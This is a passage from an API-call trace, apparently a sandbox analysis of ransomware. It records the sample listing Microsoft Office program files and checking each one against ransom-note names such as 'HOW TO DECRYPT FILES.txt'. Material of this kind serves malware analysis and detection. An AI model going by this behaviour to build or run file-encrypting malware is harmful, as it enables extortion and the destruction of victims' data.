Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.219] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.219] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0xee9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7.dll", cAlternateFileName="")) returned 1 [0066.219] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.219] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mset7.dll") returned -1 [0066.219] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mset7.dll") returned -1 [0066.219] lstrcmpiA (lpString1="", lpString2="mset7.dll") returned -1 [0066.219] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub") returned="mscss7wre_fr.dub" [0066.219] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.219] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.219] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b94600, ftCreationTime.dwHighDateTime=0x1c879f3, ftLastAccessTime.dwLowDateTime=0x69def8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b94600, ftLastWriteTime.dwHighDateTime=0x1c879f3, nFileSizeHigh=0x0, nFileSizeLow=0x2c5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7db.kic", cAlternateFileName="")) returned 1 [0066.219] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.219] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mset7db.kic") returned -1 [0066.220] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mset7db.kic") returned -1 [0066.220] lstrcmpiA (lpString1="", lpString2="mset7db.kic") returned -1 [0066.220] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mset7.dll") returned="mset7.dll" [0066.220] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.220] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.220] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34365600, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e15a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34365600, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7en.kic", cAlternateFileName="")) returned 1 [0066.220] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.220] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mset7en.kic") returned -1 [0066.220] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mset7en.kic") returned -1 [0066.220] lstrcmpiA (lpString1="", lpString2="mset7en.kic") returned -1 [0066.220] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic") returned="mset7db.kic" [0066.220] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.220] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.220] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x13e9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7es.kic", cAlternateFileName="")) returned 1 [0066.220] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.221] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mset7es.kic") returned -1 [0066.221] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mset7es.kic") returned -1 [0066.221] lstrcmpiA (lpString1="", lpString2="mset7es.kic") returned -1 [0066.221] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic") returned="mset7en.kic" [0066.221] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.221] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.221] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7fr.kic", cAlternateFileName="")) returned 1 [0066.221] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.221] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mset7fr.kic") returned -1 [0066.221] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mset7fr.kic") returned -1 [0066.221] lstrcmpiA (lpString1="", lpString2="mset7fr.kic") returned -1 [0066.221] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic") returned="mset7es.kic" [0066.221] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.221] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.222] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c57810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x3567a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7ge.kic", cAlternateFileName="")) returned 1 [0066.222] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.222] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mset7ge.kic") returned -1 [0066.222] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mset7ge.kic") returned -1 [0066.222] lstrcmpiA (lpString1="", lpString2="mset7ge.kic") returned -1 [0066.222] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic") returned="mset7fr.kic" [0066.222] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.222] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.222] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1da59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7jp.kic", cAlternateFileName="")) returned 1 [0066.222] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.222] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mset7jp.kic") returned -1 [0066.222] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mset7jp.kic") returned -1 [0066.222] lstrcmpiA (lpString1="", lpString2="mset7jp.kic") returned -1 [0066.222] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic") returned="mset7ge.kic" [0066.222] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.222] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.222] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x81988, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tk.dll", cAlternateFileName="")) returned 1 [0066.223] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mset7tk.dll") returned -1 [0066.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mset7tk.dll") returned -1 [0066.223] lstrcmpiA (lpString1="", lpString2="mset7tk.dll") returned -1 [0066.223] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic") returned="mset7jp.kic" [0066.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.223] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.223] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed9dc00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ed9dc00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x10f798, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tkjp.dll", cAlternateFileName="MSET7T~1.DLL")) returned 1 [0066.223] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mset7tkjp.dll") returned -1 [0066.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mset7tkjp.dll") returned -1 [0066.223] lstrcmpiA (lpString1="", lpString2="mset7tkjp.dll") returned -1 [0066.224] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mset7tk.dll") returned="mset7tk.dll" [0066.224] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.224] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.224] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab61d00, ftCreationTime.dwHighDateTime=0x1bf9d1a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ab61d00, ftLastWriteTime.dwHighDateTime=0x1bf9d1a, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.ICO", cAlternateFileName="")) returned 1 [0066.224] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.224] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSN.ICO") returned -1 [0066.224] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSN.ICO") returned -1 [0066.224] lstrcmpiA (lpString1="", lpString2="MSN.ICO") returned -1 [0066.224] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\mset7tkjp.dll") returned="mset7tkjp.dll" [0066.224] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.224] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.224] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4306b00, ftCreationTime.dwHighDateTime=0x1ca223a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4306b00, ftLastWriteTime.dwHighDateTime=0x1ca223a, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0066.224] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.225] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSO0127.ACL") returned -1 [0066.225] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSO0127.ACL") returned -1 [0066.225] lstrcmpiA (lpString1="", lpString2="MSO0127.ACL") returned -1 [0066.225] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO") returned="MSN.ICO" [0066.225] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.225] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.225] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9d7360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x36178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCF.DLL", cAlternateFileName="")) returned 1 [0066.225] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.225] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOCF.DLL") returned -1 [0066.225] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOCF.DLL") returned -1 [0066.225] lstrcmpiA (lpString1="", lpString2="MSOCF.DLL") returned -1 [0066.225] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL") returned="MSO0127.ACL" [0066.225] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.225] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.225] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716ee900, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x716ee900, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x6a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFU.DLL", cAlternateFileName="")) returned 1 [0066.225] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.225] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOCFU.DLL") returned -1 [0066.226] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOCFU.DLL") returned -1 [0066.226] lstrcmpiA (lpString1="", lpString2="MSOCFU.DLL") returned -1 [0066.226] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSOCF.DLL") returned="MSOCF.DLL" [0066.226] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.226] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.226] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFUIUTILITIESDLL.DLL", cAlternateFileName="MSOCFU~1.DLL")) returned 1 [0066.226] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.226] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOCFUIUTILITIESDLL.DLL") returned -1 [0066.226] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOCFUIUTILITIESDLL.DLL") returned -1 [0066.226] lstrcmpiA (lpString1="", lpString2="MSOCFUIUTILITIESDLL.DLL") returned -1 [0066.226] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFU.DLL") returned="MSOCFU.DLL" [0066.226] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.226] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.226] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dadcd00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xd61ff3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dadcd00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xa7f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSODCW.DLL", cAlternateFileName="")) returned 1 [0066.226] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.226] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSODCW.DLL") returned -1 [0066.226] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSODCW.DLL") returned -1 [0066.227] lstrcmpiA (lpString1="", lpString2="MSODCW.DLL") returned -1 [0066.227] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFUIUTILITIESDLL.DLL") returned="MSOCFUIUTILITIESDLL.DLL" [0066.227] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.227] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.227] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x17b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0066.227] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.227] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOHEV.DLL") returned -1 [0066.227] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOHEV.DLL") returned -1 [0066.227] lstrcmpiA (lpString1="", lpString2="MSOHEV.DLL") returned -1 [0066.227] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSODCW.DLL") returned="MSODCW.DLL" [0066.227] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.227] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.227] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x12d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEVI.DLL", cAlternateFileName="")) returned 1 [0066.227] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.227] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOHEVI.DLL") returned -1 [0066.227] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOHEVI.DLL") returned -1 [0066.227] lstrcmpiA (lpString1="", lpString2="MSOHEVI.DLL") returned -1 [0066.227] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEV.DLL") returned="MSOHEV.DLL" [0066.227] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.227] PathAddBackslashA (in: 